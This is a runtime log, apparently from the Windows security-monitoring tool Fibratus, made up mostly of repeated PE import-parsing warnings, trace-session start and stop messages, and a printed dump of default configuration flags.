+time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:15:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:16:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T13:16:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:16:06+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:16:07+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:16:08+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:22:08+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:22:08+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:22:08+01:00 level=info msg=bootstrapping with pid 15968. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:22:08+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>true sound=>true] eventlog=>[ enabled=>true verbose=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false] + kstream ........................ [ enable-vamap=>true blacklist=>[ images=>[] events=>[]] buffer-size=>512 enable-thread=>true flush-interval=>1s max-buffers=>36 enable-mem=>true stack-enrichment=>true enable-registry=>true enable-audit-api=>true enable-net=>true enable-dns=>true enable-image=>true min-buffers=>16 enable-fileio=>true enable-handle=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-size=>100 max-age=>0 log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s enabled=>false bulk-workers=>1 trace-log=>false gzip-compression=>false sniff=>false template-name=>fibratus healthcheck=>true flush-period=>1s servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-interval=>10s index-name=>fibratus] amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 durable=>false routing-key=>fibratus passive=>false exchange=>fibratus delivery-mode=>transient enabled=>false exchange-type=>topic timeout=>5s vhost=>/] http=>[ enabled=>false enable-gzip=>false method=>POST serializer=>json tls-insecure-skip-verify=>false timeout=>5s endpoints=>[]] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]]] + yara ........................... [ scan-timeout=>10s fastscan=>true excluded-procs=>[] alert-template=>[] excluded-files=>[] skip-files=>true alert-via=>mail enabled=>false] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:22:08+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:22:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:22:11+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:22:11+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:22:11+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:22:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T13:22:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:22:19+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:22:20+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:22:20+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:24:06+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:24:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:24:06+01:00 level=info msg=bootstrapping with pid 5760. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:24:06+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false use-template=>true to=>[] port=>25] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>true] eventlog=>[ enabled=>true verbose=>false]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + kstream ........................ [ enable-registry=>true blacklist=>[ events=>[] images=>[]] enable-dns=>true max-buffers=>36 stack-enrichment=>true enable-audit-api=>true enable-fileio=>true enable-thread=>true enable-handle=>false flush-interval=>1s enable-vamap=>true min-buffers=>16 buffer-size=>512 enable-net=>true enable-mem=>true enable-image=>true] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 max-age=>0 log-stdout=>true level=>info] + output ......................... [ amqp=>[ exchange=>fibratus passive=>false durable=>false timeout=>5s enabled=>false exchange-type=>topic url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ routing-key=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ index-name=>fibratus healthcheck-interval=>10s flush-period=>1s template-name=>fibratus enabled=>false healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false gzip-compression=>false bulk-workers=>1 healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty] http=>[ method=>POST serializer=>json timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]]] + yara ........................... [ scan-timeout=>10s enabled=>false excluded-files=>[] alert-via=>mail skip-files=>true alert-template=>[] fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:24:06+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:24:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:24:08+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:24:08+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:24:08+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T13:25:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:25:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:44+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 